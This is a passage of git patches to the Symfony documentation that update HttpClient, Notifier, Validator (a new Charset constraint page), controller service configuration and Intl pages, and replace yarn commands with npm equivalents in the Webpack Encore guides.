 .. _`Composer`: https://getcomposer.org
 .. _`download Composer`: https://getcomposer.org/download/
diff --git a/messenger.rst b/messenger.rst
index 5d620fde6a4..bdd74c4750a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2381,7 +2381,7 @@ will not be rolled back.
 
     If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
     exception will be wrapped into a ``DelayedMessageHandlingException``. Using
-    ``DelayedMessageHandlingException::getExceptions`` will give you all
+    ``DelayedMessageHandlingException::getWrappedExceptions`` will give you all
     exceptions that are thrown while handling a message with the
     ``DispatchAfterCurrentBusStamp``.
 

From e9c44f44ea4ddbd873dd57eba8b9e077907cc071 Mon Sep 17 00:00:00 2001
From: Andrii Bodnar <andrii.bodnar@crowdin.com>
Date: Tue, 26 Dec 2023 17:09:41 +0200
Subject: [PATCH 5568/7107] [Translation] Add a tip about Crowdin language
 mapping

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index 8d965b78e73..33549a66f56 100644
--- a/translation.rst
+++ b/translation.rst
@@ -693,6 +693,13 @@ configure the ``providers`` option:
             ],
         ]);
 
+.. tip::
+
+    If you use Crowdin as a provider and some of your locales are different from
+    the `Crowdin Language Codes`_, you have to set the `Custom Language Codes`_ in the Crowdin project
+    for each of your locales, in order to override the default value. You need to select the
+    "locale" placeholder and specify the custom code in the "Custom Code" field.
+
 .. tip::
 
     If you use Lokalise as a provider and a locale format following the `ISO
@@ -1501,3 +1508,5 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
 .. _`Symfony Demo`: https://github.com/symfony/demo
+.. _`Crowdin Language Codes`: https://developer.crowdin.com/language-codes
+.. _`Custom Language Codes`: https://support.crowdin.com/project-settings/#languages

From 436f69e60f3177827ffb162bd48824433dd2acc5 Mon Sep 17 00:00:00 2001
From: Thomas Durand <thomas.durand.verjat@gmail.com>
Date: Thu, 14 Dec 2023 15:41:19 +0100
Subject: [PATCH 5569/7107] [HttpClient] Add `HttpOptions::addHeader` method

---
 http_client.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 2ca591a5098..b76c8e25199 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -150,10 +150,17 @@ brings most of the available options with type-hinted getters and setters::
     $this->client = $client->withOptions(
         (new HttpOptions())
             ->setBaseUri('https://...')
+            // setHeaders() replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
+            // add or replace a single header using addHeader()
+            ->addHeader('another-header-name', 'another-header-value')
             ->toArray()
     );
 
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader` method was introduced in Symfony 7.1.
+
 Some options are described in this guide:
 
 * `Authentication`_

From e9c7ec718bd2842d30d8886880a2ad43229dc767 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Dec 2023 21:54:15 +0100
Subject: [PATCH 5570/7107] -

---
 http_client.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index dc316fb09dc..09c8aaa28b6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -150,7 +150,7 @@ brings most of the available options with type-hinted getters and setters::
     $this->client = $client->withOptions(
         (new HttpOptions())
             ->setBaseUri('https://...')
-            // setHeaders() replaces *all* headers at once, and deletes the headers you do not provide
+            // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
             // add or replace a single header using addHeader()
             ->addHeader('another-header-name', 'another-header-value')
@@ -159,7 +159,8 @@ brings most of the available options with type-hinted getters and setters::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader` method was introduced in Symfony 7.1.
+    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader`
+    method was introduced in Symfony 7.1.
 
 Some options are described in this guide:
 

From fc23fa3625a421d0710638ec493e7c4e8c81ef34 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Dec 2023 21:59:30 +0100
Subject: [PATCH 5571/7107] Add missing link

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index c58c777887e..e68ca298bda 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1002,6 +1002,7 @@ is dispatched. Listeners receive a
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
+.. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md

From 2a8e749d28a630a167a8f86d50b81fa6722c9deb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Dec 2023 21:59:55 +0100
Subject: [PATCH 5572/7107] -

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e68ca298bda..663398a5c0c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -246,7 +246,8 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations were introduced in Symfony 7.1.
+    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations
+    were introduced in Symfony 7.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 35e2703636f49277122c1d158d3c989e930cd6be Mon Sep 17 00:00:00 2001
From: Franklin LIA <46316603+lbbyf@users.noreply.github.com>
Date: Mon, 18 Dec 2023 10:51:26 +0100
Subject: [PATCH 5573/7107] Update routing.rst

In Symfony version 7, we don't have a loader for the annotations
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 77b035ddd16..941c074cb0d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2600,7 +2600,7 @@ same URL, but with the HTTPS scheme.
 
 If you want to force a group of routes to use HTTPS, you can define the default
 scheme when importing them. The following example forces HTTPS on all routes
-defined as annotations:
+defined as attributes:
 
 .. configuration-block::
 

From bc95bcc4e0df59e662366c9809f636c82a5964a8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 27 Dec 2023 09:45:56 +0100
Subject: [PATCH 5574/7107] Rename `addHeader` to `setHeader`

---
 http_client.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 09c8aaa28b6..1966dfba064 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -152,14 +152,14 @@ brings most of the available options with type-hinted getters and setters::
             ->setBaseUri('https://...')
             // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
-            // add or replace a single header using addHeader()
-            ->addHeader('another-header-name', 'another-header-value')
+            // set or replace a single header using addHeader()
+            ->setHeader('another-header-name', 'another-header-value')
             ->toArray()
     );
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader`
+    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::setHeader`
     method was introduced in Symfony 7.1.
 
 Some options are described in this guide:

From 78703b5aae4a0327c8fc0e5cc290f82e0e679530 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 27 Dec 2023 11:29:37 +0100
Subject: [PATCH 5575/7107] [Validator] Add `Charset` constraint

---
 reference/constraints/Charset.rst | 112 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 113 insertions(+)
 create mode 100644 reference/constraints/Charset.rst

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
new file mode 100644
index 00000000000..6f8592fa5e1
--- /dev/null
+++ b/reference/constraints/Charset.rst
@@ -0,0 +1,112 @@
+Charset
+=======
+
+.. versionadded:: 7.1
+
+    The ``Charset`` constraint was introduced in Symfony 7.1.
+
+Validates that a string is encoded in a given charset.
+
+==========  =====================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Charset`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CharsetValidator`
+==========  =====================================================================
+
+Basic Usage
+-----------
+
+If you wanted to ensure that the ``content`` property of an ``FileDTO``
+class uses UTF-8, you could do the following:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/FileDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class FileDTO
+        {
+            #[Assert\Charset('UTF-8')]
+            protected string $content;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\FileDTO:
+            properties:
+                content:
+                    - Charset: 'UTF-8'
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\FileDTO">
+                <property name="content">
+                    <constraint name="Charset">
+                        <option name="charset">UTF-8</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/FileDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class FileDTO
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('content', new Assert\Charset('UTF-8'));
+            }
+        }
+
+Options
+-------
+
+``encodings``
+~~~~~~~~~~~~~
+
+**type**: ``array`` | ``string`` **default**: ``[]``
+
+An encoding or a set of encodings to check against. If you pass an array of
+encodings, the validator will check if the value is encoded in *any* of the
+encodings. This option accept any value that can be passed to
+:phpfunction:`mb_detect_encoding()`.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The detected encoding "{{ detected }}" does not match one of the accepted encoding: "{{ encodings }}".``
+
+This is the message that will be shown if the value does not match any of the
+accepted encodings.
+
+You can use the following parameters in this message:
+
+===================  ==============================================================
+Parameter            Description
+===================  ==============================================================
+``{{ detected }}``   The detected encoding
+``{{ encodings }}``  The accepted encodings
+===================  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 2fa03ac9a3e..a9692062d28 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -31,6 +31,7 @@ String Constraints
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
+* :doc:`Charset </reference/constraints/Charset>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From 412a45089424636f2aa2826ffbd1e28b2a525d0d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 27 Dec 2023 13:41:29 +0100
Subject: [PATCH 5576/7107] Add a note about configuring controllers without
 autowire/autoconfigure

---
 controller/service.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/controller/service.rst b/controller/service.rst
index 50ee34a1aac..fff46377378 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -25,6 +25,40 @@ in method parameters:
            resource: '../src/Controller/'
            tags: ['controller.service_arguments']
 
+.. note::
+
+    If you don't use either :doc:`autowiring </service_container/autowiring>`
+    or :ref:`autoconfiguration <services-autoconfigure>` and you extend the
+    ``AbstractController``, you'll need to apply other tags and make some method
+    calls to register your controllers as services:
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # this extended configuration is only required when not using autowiring/autoconfiguration,
+        # which is uncommon and not recommended
+
+        abstract_controller.locator:
+            class: Symfony\Component\DependencyInjection\ServiceLocator
+            arguments:
+                -
+                    router: '@router'
+                    request_stack: '@request_stack'
+                    http_kernel: '@http_kernel'
+                    session: '@session'
+                    parameter_bag: '@parameter_bag'
+                    # you can add more services here as you need them (e.g. the `serializer`
+                    # service) and have a look at the AbstractController class to see
+                    # which services are defined in the locator
+
+        App\Controller\:
+            resource: '../src/Controller/'
+            tags: ['controller.service_arguments']
+            calls:
+                - [setContainer, ['@abstract_controller.locator']]
+
+
 If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
 apply the ``controller.service_arguments`` tag to your controller services::
 

From 8be633a9f9fad9b59264dd62ae426b2a9cc478f5 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Wed, 27 Dec 2023 10:26:07 +0100
Subject: [PATCH 5577/7107] [Intl] Remove warning about replacement layer

---
 components/intl.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 5ec6c4b7011..a592ddf4fea 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -3,13 +3,6 @@ The Intl Component
 
     This component provides access to the localization data of the `ICU library`_.
 
-.. caution::
-
-    The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict
-    between the two because, even if you use the extension, this package can still
-    be useful to access the ICU data.
-
 .. seealso::
 
     This article explains how to use the Intl features as an independent component
@@ -430,7 +423,6 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: https://icu.unicode.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2

From 981adcd2f8cd63586394b5b4f68785ec4c2339b5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Wilczy=C5=84ski?=
 <michal.wilczynski@safekiddo.com>
Date: Mon, 30 Jan 2023 21:25:13 +0100
Subject: [PATCH 5578/7107] =?UTF-8?q?Added=20description=20to=20improved?=
 =?UTF-8?q?=20bin/console=20debug:container=20--env-vars=20=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 configuration.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 5e78afd93ae..c946a6ee63b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -871,19 +871,21 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
     The option to pass variable names to ``debug:dotenv`` was introduced in Symfony 6.2.
 
 Additionally, and regardless of how you set environment variables, you can see all
-environment variables, with their values, referenced in Symfony's container configuration:
+environment variables, with their values, referenced in Symfony's container configuration,
+you can also see the number of occurrences of each environment variable in the container:
 
 .. code-block:: terminal
 
     $ php bin/console debug:container --env-vars
 
-    ---------------- ----------------- ---------------------------------------------
-     Name             Default value     Real value
-    ---------------- ----------------- ---------------------------------------------
-     APP_SECRET       n/a               "471a62e2d601a8952deb186e44186cb3"
-     FOO              "[1, "2.5", 3]"   n/a
-     BAR              null              n/a
-    ---------------- ----------------- ---------------------------------------------
+    ------------ ----------------- ------------------------------------ -------------
+     Name         Default value     Real value                           Usage count
+    ------------ ----------------- ------------------------------------ -------------
+     APP_SECRET   n/a               "471a62e2d601a8952deb186e44186cb3"   2
+     BAR          n/a               n/a                                  1
+     BAZ          n/a               "value"                              0
+     FOO          "[1, "2.5", 3]"   n/a                                  1
+    ------------ ----------------- ------------------------------------ -------------
 
     # you can also filter the list of env vars by name:
     $ php bin/console debug:container --env-vars foo

From 17663e273ec9b29b3ad42e50ea9c5a35d8ab1c30 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 28 Dec 2023 00:12:25 +0100
Subject: [PATCH 5579/7107] fix typos

---
 reference/constraints/Charset.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 6f8592fa5e1..5dfa7037c6b 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -16,7 +16,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CharsetValidator
 Basic Usage
 -----------
 
-If you wanted to ensure that the ``content`` property of an ``FileDTO``
+If you wanted to ensure that the ``content`` property of a ``FileDTO``
 class uses UTF-8, you could do the following:
 
 .. configuration-block::
@@ -87,7 +87,7 @@ Options
 
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
-encodings. This option accept any value that can be passed to
+encodings. This option accepts any value that can be passed to
 :phpfunction:`mb_detect_encoding()`.
 
 .. include:: /reference/constraints/_groups-option.rst.inc

From c33618bd07a5903289889c5218a9d62ca292c25e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Dec 2023 17:29:44 +0100
Subject: [PATCH 5580/7107] Remove yarn commands in front-end docs

---
 .doctor-rst.yaml                    |  1 -
 frontend/create_ux_bundle.rst       |  4 ++--
 frontend/encore/advanced-config.rst |  4 ----
 frontend/encore/bootstrap.rst       |  9 ---------
 frontend/encore/dev-server.rst      | 14 +-------------
 frontend/encore/faq.rst             |  8 ++++----
 frontend/encore/installation.rst    | 27 ++++++---------------------
 frontend/encore/postcss.rst         |  6 +-----
 frontend/encore/reactjs.rst         |  6 +-----
 frontend/encore/simple-example.rst  | 24 +-----------------------
 frontend/encore/vuejs.rst           |  4 ----
 setup/symfony_server.rst            | 12 ++++++------
 12 files changed, 22 insertions(+), 97 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 950324be7e4..c61210111a0 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -65,7 +65,6 @@ rules:
     valid_use_statements: ~
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
-    yarn_dev_option_at_the_end: ~
 
     #   master
     versionadded_directive_major_version:
diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index eaadd3f1e41..87d6b123e42 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -87,11 +87,11 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
                }
            }
 
-    2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+    2. Run ``npm install`` to install the new dependencies.
 
     3. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
 
-    4. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+    4. Run ``npm run build`` to transpile your TypeScript controller into JavaScript.
 
 To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
 
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index cfe50ee1658..dec07e5d7b9 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -105,10 +105,6 @@ prefer to build configs separately, pass the ``--config-name`` option:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev --config-name firstConfig
-
-    # if you use the npm package manager
     $ npm run dev -- --config-name firstConfig
 
 Next, define the output directories of each build:
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index f5b3959eafd..f027b22ddc4 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -7,10 +7,6 @@ First, to be able to customize things further, we'll install ``bootstrap``:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add bootstrap --dev
-
-    # if you use the npm package manager
     $ npm install bootstrap --save-dev
 
 Importing Bootstrap Styles
@@ -46,11 +42,6 @@ used in your application:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    # (jQuery is only required in versions prior to Bootstrap 5)
-    $ yarn add jquery @popperjs/core --dev
-
-    # if you use the npm package manager
     # (jQuery is only required in versions prior to Bootstrap 5)
     $ npm install jquery @popperjs/core --save-dev
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4feecb3deec..5112b99448d 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -1,15 +1,11 @@
 Using webpack-dev-server and HMR
 ================================
 
-While developing, instead of using ``yarn encore dev --watch``, you can use the
+While developing, instead of using ``npx encore dev --watch``, you can use the
 `webpack-dev-server`_:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev-server
-
-    # if you use the npm package manager
     $ npm run dev-server
 
 This builds and serves the front-end assets from a new server. This server runs at
@@ -30,10 +26,6 @@ You can set these options via command line options:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev-server --port 9000
-
-    # if you use the npm package manager
     $ npm run dev-server -- --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
@@ -90,10 +82,6 @@ server SSL certificate:
 
     .. code-block:: terminal
 
-        # if you use the Yarn package manager
-        $ NODE_OPTIONS=--openssl-legacy-provider yarn encore dev-server
-
-        # if you use the npm package manager
         $ NODE_OPTIONS=--openssl-legacy-provider npm run dev-server
 
 CORS Issues
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 60dc7cc9e9d..709df68d2b3 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include:
     # whatever path you're passing to Encore.setOutputPath()
     /public/build
 
-You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock`` or ``package-lock.json``.
+You *should* commit all of your source asset files, ``package.json`` and ``package-lock.json``.
 
 My App Lives under a Subdirectory
 ---------------------------------
@@ -105,8 +105,8 @@ file script tag is rendered automatically.
 This dependency was not found: some-module in ./path/to/file.js
 ---------------------------------------------------------------
 
-Usually, after you install a package via yarn or npm, you can require / import
-it to use it. For example, after running ``yarn add respond.js`` or ``npm install respond.js``,
+Usually, after you install a package via npm, you can require / import
+it to use it. For example, after running ``npm install respond.js``,
 you try to require that module:
 
 .. code-block:: javascript
@@ -151,7 +151,7 @@ productive (for example by resolving aliases). However, you may face this error:
     calling Encore directly.
 
 It fails because the Encore Runtime Environment is only configured when you are
-running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
+running it (e.g. when executing ``npx encore dev``). Fix this issue calling to
 ``Encore.isRuntimeEnvironmentConfigured()`` and
 ``Encore.configureRuntimeEnvironment()`` methods:
 
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 118e15e7b0e..1753b770b36 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -1,12 +1,8 @@
 Installing Encore
 =================
 
-First, make sure you `install Node.js`_. Optionally you can also install the
-`Yarn package manager`_. In the next sections you will always see the commands
-for both ``npm`` and ``yarn``, but you only need to run one of them.
-
-The following instructions depend on whether you are installing Encore in a
-Symfony application or not.
+First, make sure you `install Node.js`_. Then, follow the instructions below,
+which depend on whether you are installing Encore in a Symfony application or not.
 
 Installing Encore in Symfony Applications
 -----------------------------------------
@@ -17,11 +13,6 @@ project:
 .. code-block:: terminal
 
     $ composer require symfony/webpack-encore-bundle
-
-    # if you use the Yarn package manager
-    $ yarn install
-
-    # if you use the npm package manager
     $ npm install
 
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
@@ -36,24 +27,19 @@ and files by yourself following the instructions shown in the next section.
 Installing Encore in non Symfony Applications
 ---------------------------------------------
 
-Install Encore into your project via Yarn:
+Install Encore into your project via npm:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add @symfony/webpack-encore --dev
-
-    # if you use the npm package manager
     $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
-dependencies into a ``node_modules/`` directory. Yarn also creates/updates a
-``yarn.lock`` (called ``package-lock.json`` if you use npm).
+dependencies into a ``node_modules/`` directory.
 
 .. tip::
 
-    You *should* commit ``package.json`` and ``yarn.lock`` (or ``package-lock.json``
-    if using npm) to version control, but ignore ``node_modules/``.
+    You *should* commit ``package.json`` and ``package-lock.json``
+    to version control, but ignore ``node_modules/``.
 
 Creating the webpack.config.js File
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -223,5 +209,4 @@ on which features of Encore you have enabled.
     :doc:`split chunks </frontend/encore/split-chunks>`.
 
 .. _`install Node.js`: https://nodejs.org/en/download/
-.. _`Yarn package manager`: https://yarnpkg.com/getting-started/install
 .. _`WebpackEncoreBundle`: https://github.com/symfony/webpack-encore-bundle
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 40b2dc43923..9f42f2606d0 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -23,10 +23,6 @@ Next, download any plugins you want, like ``autoprefixer``:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add autoprefixer --dev
-
-    # if you use the npm package manager
     $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
@@ -36,7 +32,7 @@ Next, create a ``postcss.config.js`` file at the root of your project:
     module.exports = {
         plugins: {
             // include whatever plugins you want
-            // but make sure you install these via yarn or npm!
+            // but make sure you install these via npm!
 
             // add browserslist config to package.json (see below)
             autoprefixer: {}
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index facd7cdcbb6..4660b07603a 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -10,14 +10,10 @@ Enabling React.js
 
     Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
     
-Using React? First add some dependencies with Yarn:
+Using React? First add some dependencies with npm:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add react react-dom prop-types
-
-    # if you use the npm package manager
     $ npm install react react-dom prop-types --save
 
 Enable react in your ``webpack.config.js``:
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 9ba62c797ee..ce15976e464 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -56,28 +56,20 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 .. _encore-build-assets:
 
-To build the assets, run the following if you use the Yarn package manager:
+To build the assets, run the following if you use the npm package manager:
 
 .. code-block:: terminal
 
     # compile assets and automatically re-compile when files change
-    $ yarn watch
-    # or
     $ npm run watch
 
     # or, run a dev-server that can sometimes update your code without refreshing the page
-    $ yarn dev-server
-    # or
     $ npm run dev-server
 
     # compile assets once
-    $ yarn dev
-    # or
     $ npm run dev
 
     # on deploy, create a production build
-    $ yarn build
-    # or
     $ npm run build
 
 All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
@@ -186,10 +178,6 @@ We'll use jQuery to print this message on the page. Install it via:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add jquery --dev
-
-    # if you use the npm package manager
     $ npm install jquery --save-dev
 
 Great! Use ``import`` to import ``jquery`` and ``greet.js``:
@@ -372,10 +360,6 @@ and restart Encore:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn watch
-
-    # if you use the npm package manager
     $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
@@ -437,18 +421,12 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^13.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add sass-loader@^13.0.0 sass --dev
-    $ yarn encore dev --watch
-
-    # if you use the npm package manager
     $ npm install sass-loader@^13.0.0 sass --save-dev
     $ npm run watch
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index ca39808483e..1c403721188 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -73,10 +73,6 @@ your Vue.js app update *without* a browser refresh! To activate it, use the
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev-server
-
-    # if you use the npm package manager
     $ npm run dev-server
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 2e61d331bd4..5aa13399c71 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
